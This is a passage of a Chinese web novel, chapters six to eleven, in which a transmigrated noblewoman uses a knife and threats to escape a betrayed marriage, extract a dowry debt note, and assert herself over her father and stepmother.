《你娶我姐,我嫁太子你哭什么?》 第六章 姐妹联手 此话一出。 屋里一片寂静无声。 沈安昕则一脸心疼的看着沈安若,眼里还有愧疚。 “安若,对不起,是姐姐没有保护好你,居然让你受了这么大的委屈。” 傅承越没想到一直盼着与自己成亲的沈安若居然真的一门心思想要退亲。 “沈安若,整个南都谁人不知你心仪我多年,昨日的婚礼更是受了南都那么多名门贵族的见证,你若是真的执意要回沈家,这天下也无人会娶你。” 沈安若先是拍了拍沈安昕的手背安抚她。 “姐姐,别道歉,别人有心算计咱们也是防不胜防。” 满眼都是厌恶的看了一眼傅承越。 “就这样的垃圾,有人接手了倒是好事一件。” “就是孤独终老,也比跟畜牲生活在一起好。” 左一句垃圾右一句畜牲,骂得傅承越脸色铁青。 “沈安若,你这贱人…………” 看着两个人又要骂起来,忠勇侯一拍桌子。 “够了。” “一个出出身侯府,一个出身尚书府,在这里骂来骂去的成何体统?” 随即目光看向沈安若。 “婚书上的名字本侯会去官府改过来,就说是不小心写错了。” “你若是不接受安锦留在侯府,今日就让沈家把沈安锦带回去。” 自己与世子已经圆房了,更何况自己好不容易才进了侯府,这个时候若是放弃,一辈子都完了,沈安锦伸手拉着傅承越的衣袖,一脸的惊恐。 “承越哥哥,你不会不要我的对不对?” “锦儿已经是你的人了,若是让我回沈家,我就只有一死了。” 看着沈安锦掉下来的眼泪,傅承越急忙安抚。 “放心吧,有我在。” 然后目光看向忠勇侯。 “父亲,锦儿已经是我的人了,我不可能放弃她的。” 沈夫人也急忙开口道。 “侯爷,世子已经要了锦儿的清白,现在万万没有抛弃的道理,锦儿也是沈家的女儿,侯爷不看僧面也要看佛面。” 忠勇侯闻言,目光反而看了一眼沈安若。 只见她淡定的给沈安昕倒茶。 “自古以来,纳妾也要正妻同意,世子的妻子只有沈安若,你们沈家的女儿姐妹生嫌我侯府也不想鸡飞狗跳。” 沈安锦闻言咬了咬牙,满眼的不甘心,凭什么?就因为沈安若是公主的女儿吗?一个死人而已,侯府到底在顾及什么,可是现实就是残酷的摆在眼前,若是沈安若不愿意留下自己,忠勇侯就不会同意自己留下。 起身一下子跪在沈安若面前。 “妹妹,姐姐这么多年以来对你的心你是知道的啊,从我进了沈家所有的一切我都在让着你,但凡有好东西都要等你先挑,我知道我昨夜与世子圆了房让你生气了,你要打要骂我都受着,求你就留我在侯府吧,不然姐姐就没有活路了。” 看着哭得梨花带雨的沈安锦,沈安若眼尾勾起一抹嘲讽的笑意,从手袖里拿出来一把匕首往沈安锦面前一递。 “那你去死啊!” “来拿着。” 沈安锦被明晃晃的匕首吓得脸色一白。 沈安若用匕首挑起她的下巴。 “我母亲只给我生了一个姐姐,以后你要是再一口一个姐姐的自居,我就割了你的舌头。” 众人都被沈安若这一动作吓得一愣,先反应过来的是柳依依,一脸担忧的开口。 “若儿,你这是在做什么?” “一家人怎么能闹成这个样子?” “你快把匕首放下,不要伤到了你姐姐。” 傅承越也反应过来了,怒吼着冲上前。 “沈安若你要是敢伤了锦儿,我绝对不放过你。” 说着就去夺沈安若手里的匕首。 沈安若猛然站起身来,匕首低在傅承越的脖子上。 “我真的是给你们脸了。” “话怎么这么多啊,很吵知不知道。” 侯夫人着急的上前,看着沈安若的眼神恨不得将她生吞活剥了。 “沈安若,你知不知道你在做什么?你快放开越儿。” 忠勇侯怒声呵斥。 “沈安若,你放下匕首。” 沈安锦更是抬手给了自己两巴掌。 “是我不好,是我下贱,是我勾引了世子。” “妹妹………” 看着沈安若一个眼刀子飞过来。 沈安锦急忙改口。 “安若………” 沈安若的眼神又冷了几分。 沈安锦哭喊着。 “二小姐,这都是我的错,你要杀要寡你冲我来,你不要伤了世子啊,我求你了………” 沈安若偏头看着忠勇侯。 “侯爷,你看看,多么一对郎有情妹有意的生死鸳鸯啊,侯府何必要抓着我不放呢?” “我刚刚说的两个条件,你们今日若是答应了,那咱们都有一个体面,若是你们不答应,我真的不介意杀人的。” 忠勇侯今日真的是长了一次又一次的见识,从未见过南诏的哪一个大家闺秀会是这个样子。 “沈尚书,这就是你们沈家养出来的好女儿吗?居然要杀自己的夫君。” 沈一山也没想到自己女儿胆子居然这么大,回神以后急忙呵斥。 “孽女,你还不放下刀,给世子认错。” 沈安昕站起来看着沈一山大着胆子开口。 “父亲,妹妹何错之有?” “昨夜是她的新婚之夜,她的夫君和养姐勾搭在一起,她已经受尽了委屈,你是我们的父亲,你不应该给妹妹撑腰吗?” 握着匕首的沈安若嘴角勾起一抹笑意,这姐姐就是身子弱了一些,胆子不错,这个年代敢跟父亲刚的没几个啊。 沈一山怒吼道。 “你也要跟为父顶嘴?” “你们两姐妹就没有一个省心的。” 沈安昕气的深呼吸了几口气,看着沈一山眼里都是失望,当真是有了后爹就有后娘,今日不论如何,自己都要护着妹妹,目光转而看向忠勇侯。 “侯爷,今日我是一定要带我妹妹回家的,你们若是要阻拦,我就带着我母亲的牌位去皇宫门口哭,我倒是要看看,皇帝舅舅会不会真的看着你们这些人一起逼死他的外甥女。” 第七章 写欠条吧 忠勇侯和沈尚书闻言,脸色瞬间变得难看起来。 皇宫的大门可不是随便什么人都能去哭闹的,尤其是带着已故公主的牌位,这无疑是在打皇上的脸,一旦闹大,两家都将受到牵连。 当初让沈安若嫁,是因为惦记她的嫁妆能够给安锦,如今嫁妆也不知道去了哪里,再坚持留她在侯府反而给锦儿添加麻烦,柳依依急忙开口。 “若儿,你别这样,你若是真的不想嫁给世子,母亲也不逼你了,就按照你说的来,昨日从沈家出嫁的人就是安锦,母亲带你回家。” 侯夫人看着傅承越的脖子已经被划破了皮,整个人又急又气。 “侯爷,一个在大婚就敢拿刀对着自己夫君的女子,我们侯府娶不起,这样的儿媳妇不要了。” 忠勇侯还在犹豫,看着沈安若淡定自若的握着匕首抵着傅承越脖子的模样,这样的有胆识的一个女子又是公主的血脉,若是留下侯府,以后肯定能够给侯府带来益处的啊。 见忠勇侯还在犹豫,侯夫人着急的眼泪都掉出来了。 “侯爷,越儿已经流血了,沈安若她是真的敢杀人啊。” “你就答应了吧!” 脖子上的刺痛感传来,傅承越看着沈安若虽然面容上带着一抹笑意,可是她的眼里都是杀意,她是真的要杀了自己,眼里有些不可置信。 “安若,你之前一直盼着嫁给我,你现在要杀我?” 沈安若的手微微用力一分。 “你看不出来吗?” “我不想与你扯上半点关系,你们侯府要是不识趣想要强留我的话,我可能不只是想杀了你,我还想杀了你们整个侯府。” 侯夫人闻言哭喊着。 “毒妇,毒妇啊………我侯府当初怎么会娶你这样的毒妇?” “侯爷,这样的毒妇留不得啊,答应她,我们侯府不要她了,我看她这样的毒妇以后怎么活下去。” 沈安锦此时已经跑到了沈一山身边。 “父亲,你劝劝妹妹吧,她要是真的杀了世子,我们沈家也完了。” 沈一山一脸的怒气,这个孽女当真是不让人省心,是要害死整个沈家吗? “沈安若,现在放下匕首,父亲还认你这个女儿。” 沈安若闻言翻了一个白眼,得,这是一个渣爹,妥妥的渣没错了。 “你要是不会说话就不要说话了,你这个父亲我也是可以不认的,我最后说一遍,这门亲事给我退掉。” “不然鱼死不死我不知道,但是网一定破。” 沈一山闻言无奈的朝忠勇侯开口。 “傅兄,是我没有教育好女儿,既然她如此不愿意,那就算了吧。” “安锦这孩子自小知书达礼,最是孝敬的,她配世子我反而觉得更好一些。” 侯府要娶的从来都不是沈家的女儿,更不可能是一个养女,而是公主的血脉,目光看了看沈安昕。 “沈兄,我也不是不讲理的人,更何况我们这么多年的同僚交情,既然沈安若不愿意,那就让沈大小姐替她嫁入侯府…………” “咻”他话还没有说话,一支簪子就擦着他的耳边飞过,稳稳的插入墙里,甚至划破了耳朵,沈安若冰冷的声音传来。 “还敢肖想我姐姐?” “你们是不是真的觉得我不敢杀人?” 众人看着簪子插入墙壁的地方都裂缝了,眼里露出了惊恐,震惊,害怕等表情,更多的是疑惑,沈安若怎么有这么大的本事? 沈安若耐心是真的被耗尽了,匕首微微移动着。 “傅承越,你的父亲还真是盼着你死啊。” 看着沈安若的动作,侯夫人只感觉自己的心都跳到了嗓子眼,一脸眼泪的喊着。 “侯爷,答应她,沈家的女儿我们侯府要不起。” 忠勇侯伸手摸了摸自己的耳朵,手掌上都是血迹。 最终开口。 “行,以后你跟傅家就没有关系了。” “本侯会对外说嫁进来的就是沈安锦,你现在可以放开世子了吧。” 沈安若闻言并没有放开傅承越,而是开口道。 “那我的嫁妆呢?” 忠勇侯只感觉侯府这是造了多大的孽,摊上这么一个女。 “你带过来的嫁妆里面全是土,你是自己亲眼所见的,难不成这件事你都还要赖在侯府的头上吗?” 沈安若闻言却开口道。 “嫁妆箱子里面都是土的确没有错,可是这嫁妆到底是在沈家不见的还是在侯府不见得,实在是很难说啊,这样吧,侯府跟沈家对半赔我一份吧。” “玉儿,翡儿,我的嫁妆大概价值多少………” 玉儿与翡儿相视一眼。 玉儿立即开口。 “长公主当初嫁给尚书大人的时候可谓是十里红妆,名计珍宝古董字画不计其数,还有无数的金子银子,小姐准备嫁妆的时候,因为大小姐身子不好,就只留下了很少的一部分,奴婢轻点过,估算起来大概是二十万两。” 根本就没有那么多,柳依依急忙开口。 “你这丫鬟……………” 这玉儿是一个有眼力见的,沈安若冷冷的看着柳依依。 “柳姨娘,我今日已经在侯府等了你们半日了,现在又累又饿,实在是没有心情跟你们继续掰扯了,这件事尽快结束,你的女儿就是侯府的世子夫人,你要是再扯一些三了四了的,让我不开心了,你的女儿就得当妾了。” 当妾,这怎么行,沈安锦急忙拉住柳依依的衣袖摇头。 “母亲…………” 罢了,她回到了沈家,以后总不能真的跟她父亲要银子,估计就是不甘心,故意坑侯府罢了,柳依依看向沈一山。 “老爷,安若的确受了委屈,就答应她把,就当疼一疼这个孩子。” 二十万两啊,这都是以后立足的根本啊,这世界最靠得住的还得是银子啊,沈安若满脸的喜意。 “既然这样,那就劳烦侯爷和尚书大人写一份欠条吧!” “我也不是不讲理的,可以给二位半月的时间,如果半月以后二位没有凑够银子,我会按照赌坊放利的利钱给二位加利息的。” 第八章 要不都杀了吧 沈安若的话音刚落,忠勇侯与沈尚书的脸色均变得异常难看。 在朝堂上别人都得礼待三分的人,居然被一个女子威胁了。 沈一山看着沈安若,咬牙切齿的开口。 “沈安若,我可是你的父亲。” 沈安若闻言并没有反驳他的话,而是笑着看着他。 “我知道的呀父亲,可是在我们南诏女子的嫁妆原本就属于女子的私人财产,只能够给自己的儿女的,我母亲的嫁妆自然是给我和姐姐的呀,如今嫁妆弄丢了,父亲你赔女儿一份不是应该的吗?更何况也不是让父亲你一个人赔呀,还有侯府一起赔呢。” 她明明满脸的笑意,可是手中的匕首并未松动半分,傅承越第一次觉得,一个女人居然可以如此的可怕。 忠勇侯强压下心头的怒火,声音低沉而冷硬。 “沈安若,你莫要得寸进尺!嫁妆之事本就疑点重重,如今你又要我侯府与沈家共同赔偿,这简直是荒谬!” 沈安若嘴角勾起一抹冷笑,眼神中透露出不容置疑的坚决。 “侯爷,我之前说过的呀,只要侯爷不与我为难,我也不与侯爷为难,可是侯爷你今日一直在为难我呢,所以就只好请侯爷让我看看世子的命在侯爷心中值不值十万两了。” 忠勇侯只感觉自己快要气的一口气上不来。 “沈安若,你如此做事不给自己留退路,就不怕逼急了本侯报官吗?谋杀自己的丈夫可是要处极刑的。” 沈安若听了一脸淡定的开口。 “没关系的,我可以在官府的人来之前把你们都杀了,然后一把火烧了侯府,都化成灰了,官府也查不出来什么。” 以往的时候,妹妹都是温柔善良的,没想到今日都敢拿刀杀人了,看来婚事得变动让她长大了,这也是好事,不论她什么样都是自己的妹妹,沈安昕缓缓开口。 “若儿要是想杀人,就杀吧!” “母亲当年给我们留下保命符的,只要我们姐妹二人不造? ?反,自然有人会保全我们。” 沈安若听得一脸的喜意。 “姐姐,那要不十万两银子我不要了,还能杀一个痛快…………” 侯夫人看着她眼里的杀意,立即喊着。 “给你,我们给你,不就是十万两银子吗?你不要冲动,我们给你。” 随即对忠勇侯祈求道。 “老爷,这欠条你就写吧。” “银子大不了妾身来想办法。” 难不成公主真的给她们留下了什么,沈一山看了看沈安昕,又看了看沈安若,最终开口。 “侯爷,借用一下贵府的笔墨纸砚。” 忠勇侯看着沈安若,眼里都是杀意,这个女子既然不能属于侯府,往后一定要找机会除掉,不然她这么刚烈的性子,只怕是不会轻易的放过侯府。 “来人,取笔墨纸砚。” 很快二人写好了借条。 完犊子,古代的字自己不一定认得全啊,沈安若看着沈安昕开口。 “姐姐,帮我看看借条有没有问题。” 沈一山也感觉今日自己快要气吐血了。 “孽女,你这也要怀疑。” 沈安若无语的般的开口。 “父亲,你急什么?这写借条的又不止你一个。” 忠勇侯将借条递给沈安昕,朝沈安若开口。 “今日之事,我侯府认栽,十万两银子会尽快凑齐给你,沈安若,你也要记住,今日之后,你与我侯府再无瓜葛!” 沈安若微微点头,眼中闪过一丝胜利的光芒。 “这是自然。” 目光看着傅承越。 “世子,愿我们从此山鸟与鱼不同路,从此生死不相逢。” 随着沈安昕朝沈安若点了点头。 沈安若缓缓放开了手中的匕首,推了一把傅承越,傅承越倒在地,整个人大口大口的呼吸,脖颈处的伤口虽不深,却也足以让他心有余悸。 沈安若走到沈安昕身边,拿过她手里的借条。 “姐姐,等他们还了银子,我分你一半,现在,我们回家吧。” 然后拉着沈安昕的手朝外走去,现在天都要黑了,万一饿到了美人姐姐怎么办? 看着姐妹二人的背影,沈一山气血上涌。 柳依依一脸无奈的开口。 “老爷,这安若以往的时候很乖巧的,如今感觉像是变了一个人一般,居然威胁自己的父亲,也不知道会不会是撞了什么不干净的东西。” 沈一山闻言看了一眼柳依依。 朝忠勇侯拱手。 “侯爷,我们就先告辞了。” 沈安锦看着柳依依,一脸委屈的开口。 “母亲。” 柳依依朝侯夫人开口。 “侯夫人,不论如何我们两家也是亲家了,这锦儿是自小养在我和老爷身边的,早已视作亲生女儿,还望夫人疼疼我们锦儿,我和老爷会记得侯府的好的。” 侯夫人闻言看了看沈安锦,事已至此,这不可能两家撕破脸面,面子上总要过得去的。 “既然她以后是承越的夫人,我自然把她当儿媳妇对待。” 柳依依闻言笑着开口。 “多谢侯夫人。” 然后拉着沈安锦的手叮嘱。 “你以后要好好的孝敬侯爷和夫人,照顾好世子,再过两日就是你回门的日子,嫁妆的事情也不知道查到什么时候,母亲回去好好的看一看再给你准备一份,你放心,你是母亲和父亲最疼爱的女儿,不会让你在嫁妆上委屈的。” 忠勇侯看着二人的对话,眼里闪过一抹疑惑。 这沈安锦不过就是沈家的一个养女,为何会得沈家如此重视? 傅承越开口表态。 “岳母放心,我与锦儿两情相悦,我会好好待她的。” 二人的感情柳依依还是知道的,点了点头。 “锦儿就交给你了。” 沈家的马车里。 沈安昕将沈安若搂在怀里。 “若儿,你如果难过的话,想哭就哭,姐姐在。” 看着沈安昕已经疲惫的模样,但是还安慰自己,沈安若急忙开口道。 “我不难过啊,我们不是马上就有银子了吗?” “嘿嘿,姐姐,我跟你说,男人没什么用的,有银子才是最好的。” 然后将沈安昕扶了靠在自己的怀里。 “姐姐你累了吧,你休息,等到了府里我再喊你。” 沈安昕却捏了捏太阳穴,眼里闪过一抹担忧。 “今日我们惹了父亲生气,只怕是以后的日子更不好过了,原本想着你嫁人了有一个归宿的。” 美人姐姐在难过,沈安若急忙安抚。 “姐姐,嫁人可没什么好归宿,你看看南都嫁人的妇人,有几个如意的,至于父亲这边,若是我们有一个让他惧怕的人压制他,他自然不敢对我们如何!” 第九章 我看谁敢 沈安昕听得疑惑。 “父亲惧怕的人!” 沈安若闻言点了点头。 “对呀,姐姐你刚刚不是说母亲给我们留了保命符吗?都能够保我们命了,肯定能够让父亲忌惮。” 沈安昕闻言我笑了一下,一脸无奈的开口。 “没有什么保命符,若是真有我们这些年就不必过的小心翼翼的了。” 这下轮到沈安若惊讶了。 “啊?没有保命符?” 沈安昕点了点头。 “我刚刚虎他们的。” 沈安若一下子就笑了。 “姐姐,你这………你这也太聪明了。” “他们要是知道了,估计都要气死了。” 沈安昕见她笑成这个样子,伸手点了一下她的脑袋。 “你还笑,我们以后怎么办?” 沈安若闻言沉思片刻。 “姐姐,南诏是不是准备跟天元和亲了?” 沈安昕听了缓缓开口。 “的确有这个消息,现在皇上只有百灵公主这么一个适婚的公主,偏偏又是最宠爱的,估计皇上和贵妃都舍不得。” 沈安若闻言眼睛一亮。 “让父亲惧怕的人有了,姐姐你就等着看吧,往后我们姐妹二人肯定混的风生水起。” 忠勇侯府。 柳依依离开以后,忠勇侯看着沈安锦一脸的阴沉。 沈安锦忍不住往傅承越身后躲了躲。 傅承越挡在她的身前看着忠勇侯。 “父亲,事情已经成为定局,你就不要吓锦儿了,这不是锦儿的错,都怪沈安若蛮不讲理………” 见他如此宁顽不灵,忠勇侯怒声呵斥。 “你当真是被她下了迷魂药了,要不是你们不知分寸,事情也不会闹成这个样子,沈安若是谁?那是公主的血脉,跟沈家结亲图什么?不就是图跟皇家牵扯上关系吗?” 傅承越闻言低头开口道。 “父亲,沈安若的母亲是公主没有错,可是这么多年以来也不见皇上想起他们姐妹二人,说不一定皇上早就忘了她们了。” 忠勇侯听了冷声开口。 “没有远见的东西,皇室血脉就是皇室血脉,即便是皇上一时之间忘了,说不一定哪天就想起来了,好好的婚事,硬是被你搅和的一团乱。” 侯夫人见状在一旁开口劝解道。 “侯爷,你就不要再责怪越儿了,沈安若那样的毒妇,就算她是公主也是不能娶的,更何况她只是一个公主的女儿。” “今日越儿也受了不少委屈,咱们自己的孩子自己疼,就不要再骂他了。” 忠勇侯闻言目光落到了他身后的沈安锦身上。 “你要是真想当这个世子夫人当得安心一些,回门以后把你的嫁妆带回来,另外让你父亲把你记在公主名下。” 说完就挥袖而去。 沈家。 沈一山与柳依依回来就带着人把尚书府翻了一遍,但是不论是嫁妆还是聘礼,都不见半点的影子。 最终二人将目光盯上了沈安若姐妹二人的院子。 墨香居。 沈安若陪着沈安昕吃了晚膳,送她回了房间睡觉,刚出沈安昕的房间,玉儿就着急的走来。 “小姐,不好了,老爷…………” 沈安若急忙做了一个噤声的手势。 “小声些。” 二小姐现在怎么这么在乎大小姐了?虽然以往也在乎,但是也没有到小心翼翼的程度啊,玉儿压低了声音。 “老爷和夫人带着人来咱们院子了,翡儿只怕是拦不住………” 沈安若闻言不悦的皱了皱眉,还能不能安生的让人休息休息? 低声叮嘱道。 “你和珍儿守在门口,别让人打扰到了姐姐休息。” 然后疾步朝外走去。 此时翡儿正在一脸着急的拦着沈一山和柳依依。 “老爷,夫人,大小姐身子弱,好不容易才睡着,二小姐吩咐了,不许任何人打扰,还请老爷和夫人不要为难奴婢。” 柳依依见状一脸难过的开口。 “唉,都说继母难当,老爷,你也是知道的,这么多年我一直把昕儿若儿当做亲生的对待,可到底不敢管教,现在就连若儿身边的丫鬟都能对老爷顶嘴了,是妾身管家不利,还请老爷责罚。” 沈一山一脸威严的看了一眼翡儿。 “退下,没规矩的东西。” 翡儿闻言却依旧站在门口。 “老爷,玉儿已经去请二小姐了,今日大小姐奔波劳累了,这…………” 想到今日两姐妹与自己顶罪还威胁自己,沈一山眼里都是怒意。 “来人,将这个不知天高地厚的丫鬟拉下去打***板,然后发卖出去…………” 忽然一道声音响起。 “我看谁敢?” 只见沈安若脸上带着一抹笑意的走出来,可是她笑不进眼底,眼里是一片冰凉。 “这都夜深了,父亲和柳姨娘这是在闹什么?” 柳姨娘?柳依依听得一下子脸上就有了怒意,今日她在侯府已经叫过一次了,没想到这小贱人现在还敢叫,早知道她长大了这么难对付,就应该在她小的时候弄死她。 “安若,我是你父亲明媒正娶八抬大轿抬进沈家的…………” 沈安若闻言嘲讽的看着她。 “可你逢年过节不也得对着我母亲的牌位自称妾室吗?” “柳姨娘,你听好了,我与长姐是正儿八经的嫡女,不论你如何讨好父亲,在我们姐妹二人跟前,你也只能配得上姨娘二字。” 柳依依被沈安若的话噎得脸色一阵青一阵白的,随即朝沈一山哭诉道。 “老爷,这些年,我打理着沈家,照顾着大小姐和二小姐,就算没有功劳也有苦劳啊,二小姐这也太折辱人了,如此当众落我脸面,以后我还如何管着府中大小事务。” 柳依依说着真的掉下了眼,是被气的。 沈一山怒呵道。 “孽女,你是怎么跟长辈说话的?还不快给你的母亲道歉?” 沈安若连个眼神都没有给沈一山,而是盯着柳依依开口。 “果然不愧是就带一个包袱进了尚书府的,就是如此的上不得台面 ,南都的当家夫人们谁不是端庄稳重操持中馈的,柳姨娘这般哭哭啼啼的模样本就是妾室作风。” 这是说自己身份卑微,没有嫁妆,柳依依气的一口气差点上不来,但是却不敢再哭。 “罢了,我早就知道继母不好当,你是我当年太过于仰慕老爷,这才愿意进府当继室。” “二小姐竟然不愿意认我,我也就不强求了,左右这么多年我做的问心无愧就是了。” “老爷,一个称呼而已也不是什么大事,眼下最重要的还是将侯府给的聘礼,还有我们准备的嫁妆找出来,不然我们拿什么赔给侯府。” 沈一山闻言也想起来了正事。 “嫁妆的事情疑点重重,府中的院子都搜查过了,现在只剩下你们姐妹二人的院子了,你让开,让家丁们搜查一番。” 沈安若闻言不悦的开口。 “若是我拒绝呢?” 第十章 都拉下去打板子 柳依依见状开口道。 “安若,侯府的聘礼加沈家的嫁妆这可不是一笔小数目,我们也不是有意要与你为难,你就让开,让大家搜上一搜,也好证明你和安昕的清白啊。” 沈安若闻言一脸嘲讽的开口。 “我这院子里既没有嫁妆也没有聘礼,只有一个不懂规矩胆大包天的的贱婢。” 这小贱人现在怎么这般的厉害,柳依依气的几乎要将手里的帕子捏碎了。 沈一山一脸阴沉的开口。 “将二小姐拉下去关起来,搜院子。” 沈一山话一落,一众小厮就上前朝沈安若靠近。 “二小姐得罪了!” 沈安若不紧不慢的从手袖里面拔出来一把匕首。 “我今日倒是要看看,是谁不想活了?” 随即目光冷冷的看向沈一山。 “父亲,长姐自小体弱多病,这些年照顾我更是殚心竭虑,今日去了一趟忠勇侯府回来心力疲惫,刚刚才睡下,父亲如此大张旗鼓的搜查院子真的是半点都不顾息自己长女的身体情况吗?” 沈一山看着她手里的匕首,怒不可揭。 “孽女,我怎么就生了你这么一个孽障,动不动就拿着刀子对着自己家人,这般冷血,是从哪里学来的。” 沈安若闻言毫不客气的怼回去。 “我的母亲过世多年,我这般的冷血自然是跟父亲你学的。” 沈一山期待联系提醒胸口起伏,身手执着沈安若。 “你这孽女。” “今日我若是不好好的教训你,你他日定会给沈家闯来大祸。” “来人,将二小姐给我拿下,她若是敢动手生死不论。” 好一个生死不论,幸亏是自己穿过来了,这要是原主听到这句话,估计得伤心死,沈安若看着眼里闪过得意的柳依依,真的想杀人了呢! 忽然一道声音响起。 “若儿。” 沈安若回头,只见沈安昕在玉儿珍儿的搀扶下着急的走过来。 急忙上前扶住沈安昕。 “姐姐,这是把你吵醒了吗?” 沈安昕一脸无奈的开口。 “这么大的动静,我要是都不醒,反而该让你担心了。” 随即看了一眼沈一山等人。 “父亲这是要做什么?” 柳依依急忙开口。 “老爷,既然安昕已经醒了,那就赶紧搜院子吧。” 沈一山闻言下令道。 “搜。” 沈安若厉声呵斥。 “我看谁敢?” 柳依依看着沈安若眼里都是算计。 “安若,你今日对于搜查阻拦了一次又一次,你刚刚以安昕睡着了为借口阻拦,现在安昕已经站在这里了,你还是要继续阻拦,难不成嫁妆和聘礼真的是你调换的?” 话落又立即开口指责道。 “你怎么能做出来这样糊涂的事情?” “嫁妆箱子里面装土,这可是丢了整个沈家的脸面啊,你若是对府中有什么不满,或者对我有什么不满,你尽管提出来就是,何必做出损害沈家声誉的事情来,你也是沈家的女儿,一荣俱荣一损俱损的道理你怎么就不明白呢?” 沈安若闻言冷冷的看着她。 “柳姨娘,你应该称呼我一声二小姐,称呼长姐一声大小姐才是,还有在我们原配嫡出的面前,你应该自称妾身。” 又是姨娘这个称,柳依依气的脸色又青了青。 “你…………” 沈安若没有再搭理她,而是将目光看向了沈一山。 “父亲,今日我这墨香居是非搜查不可吗?” 沈一山闻言沉声开口。 “府中所有的院子都搜了,你们的院子自然不可能例外,你若是执意阻拦,为父只好动家法了。” 沈安若闻言目光扫视了一眼随时待命的家丁,以往的时候在家中当真是太好说话了,也该是时候立一立威了。 “夜深了,父亲,我得为长姐的身子考虑,既然府中别的院子已经搜查过,那么长姐就去雅韵居休息吧。” “玉儿,珍儿,送大小姐去雅韵居,明日将雅韵居里面的东西全部换上大小姐喜欢的摆设,以后那就是大小姐的院子。” 沈一山闻言怒斥一声。 “简直就是胡闹,雅韵居是你安锦姐姐的院子…………” 沈安若目光冷冷的对视上沈一山的目光。 “父亲,我只有一个姐姐。” “至于院子,雅韵居很适合姐姐的身子居住,沈安锦不过就是一个外面的野种罢了,凭什么占据沈家最好的院子?” 当听到了野种二字,沈一山的脸更是铁青了起来。 “沈安若,我再说一遍,她是你姐姐,即便只是人家收养的,她在府中的位置已与你姐妹二人无疑。” 看着他脸上的怒气,沈安若心中愈发怀疑,这正常人对一个养女当真会比对自己的亲生女儿还好吗?这养女的身份当真没有什么问题吗? “父亲还搜院子吗?” 沈一山还准备再说什么。 柳依依却开口道。 “老爷,既然二小姐这般坚持,那就让大小姐今晚暂时住在锦儿的院子吧。” 沈一山闻言看了看沈安若。 “都如你的意了,还不让开?” 沈安若这才侧身。 “翡儿,给我搬一把椅子来。” 沈安昕担忧的开口。 “若儿。” 沈安若看着她苍白的脸色,心里忍不住感叹,唉,美人姐姐什么都好,就是身子太弱了。 “姐姐,你先去休息吧,这你交给我放心好了,我都会处理好的,我敢保证以后没有人再敢打扰你休息。” 随即朝玉儿珍儿催促。 “还不快扶大小姐去休息?” 玉儿一边扶着沈安昕走一边开口。 “大小姐,走吧,相信二小姐。” “要是你继续呆在这里,等一下因为劳累身子出了一个好歹,二小姐就要心疼的哭了。” 沈安昕闻言只好任由玉儿和珍儿扶着自己走。 翡儿给沈安若拿来了一把椅子,沈安若坦然坐下,拿出来一把瓜子,分了一些给翡儿。 然后自己嗑了起来。 这沈一山带来的小厮四处乱翻,屋里的东西被翻的乱七八糟,甚至许多东西砸在地上都砸坏了。 翡儿一脸愤恨不平的开口。 “小姐,他们这也太过分了,这哪里是在搜院子,简直就是在抄家。” 沈安若一脸淡定的开口。 “不慌,先让他们猖狂一下。” 直到小厮将墨香居都翻了一遍,除了一些沈安昕的首饰以外,并没有找到别的东西。 “老爷,正院找了,没有找到聘礼和嫁妆。” “老爷,东厢房也找了,没有。” “老爷,西厢房也找了,没有!” 沈安若见状扔掉了手里的瓜子壳。 “既然没有找到,接下来也该我跟你们算账了,来人,将今日吵了大小姐休息的人全部打二十板子。” 第十一章 立威 沈安若话一落,墨香居的小厮婆子都围了上来。 但是沈一山带来的人到底更多一些,一时间显得有些滑稽。 今日要是真让她打了这些小厮,岂不是让他在府中耍足了威风?那以后自己还如何管家?柳依依急忙开口。 “二小姐,这些小厮也不过就是奉老爷的命行事,你又何必如此苛刻呢?” 沈安若听得一个眼刀子看向柳依依。 “嫡出小姐做事需要一个姨娘教?” 沈一山见状,脸色铁青,怒视着沈安若。 “沈安若,这院子是我让他们搜的,现在罚他们是对为父不瞒吗?!” 沈安若却毫不畏惧地与他对视,语气坚定。 “父亲,这些人深夜闯入女儿闺房,大闹一场,严重影响了长姐的休息,若是不加以惩罚,日后谁还把我和长姐放在眼里?沈家的规矩何在?” 然后将匕首放在手中把玩着,看着那一群闯入墨香居的小厮。 “我这墨香居庙小人也少,你们这些打扰了我长姐休息的人就去排队受板子吧!” “若是有不自觉的,就不要怪我今日让匕首见一见血,你们也都放心好,我这手中的匕首足够锋利,保证能够一刀割破人的喉咙,不会太疼的。” 小厮们闻言,不由得后退了几步,沈安若身上散发出的冷冽气息让他们心生寒意,可是谁也不敢离开。 柳依依见状,心中更是焦急,却一时找不到话来反驳。 沈一山怒目圆睁,若是这些小厮今日受了罚,往后整个府里岂不是只听二小姐的,反而是自己这个当家做主的人没有了地位。 “沈安若…………” 沈安若似笑非笑的看着他。 “整个南都的人都知道,父亲对母亲一往情深,母亲去世以后,因为担心继母进门我和姐姐会受委屈,更是多年未娶,最后也只是在同僚的劝说下,娶了一个民间的女子作续玄,就是怕继母身份太高,在后院蹉跎我和姐姐,父亲这是整个南诏难寻的慈父。” “怎么?难不成这外面传的好名声都是父亲伪装出来的吗?毕竟今日长姐可是受了不小的惊吓,父亲不为其做主,反而要拦着我处罚惊扰长姐的小厮,这要是传了出去,毁了父亲经营多年的好名声可如何是好?” 沈一山听得瞳孔一缩,最终咬了咬牙,气极反笑。 “好好好,你当真是为父的好女儿。” 然后甩袖而去。 沈一山一走,那些小厮眼里闪过一抹恐慌 ,二十板子打下去只怕是半个月下不来床,急忙朝沈安若跪下。 “二小姐饶命二小姐饶命啊,奴才再也不敢了………” 翡儿现在已经接受了自家小姐这副打人杀人的模样,此时已经带着人准备好了长凳板子,让那些小厮开始挨板子。 听着院子里起伏的求饶声,还有板子声,柳依依只感觉脸面有些挂不住,看了一眼沈安若,气冲冲的往外走。 她身边的丫鬟梨花和陶妈妈急忙跟上。 沈安若看着主仆几人落荒而逃的身影,冷声开口。 “柳姨娘!” 柳依依闻言只好停下脚步。 “二小姐还想如何?” 沈安若目光冰冷的看着她。 “我说了,今日但凡闯进这个院子紧扰长姐休息的人,都得受二十板子,念在柳姨娘伺候父亲多年,这第一次我就饶了柳姨娘,不过你身边的丫鬟和嬷嬷,还是乖乖受罚为好。” 这是要对自己身边的人下手,今日若是真的让梨花和陶妈妈挨了罚,那往后谁还敢尽心尽力的为自己办事? 更何况,身为当家主母,自己身边的丫鬟和妈妈都护不住,脸面何存? “二小姐,你莫要太过分了,就算我只是继室,也是你父亲八台抬大轿抬进来的,你就算再不愿意称呼我一声母亲,我也是你的长辈。” “梨花和陶妈妈跟在在我的身边多年,岂能是你想罚就罚的?” 沈安若闻言朝柳依依缓缓走了几步。 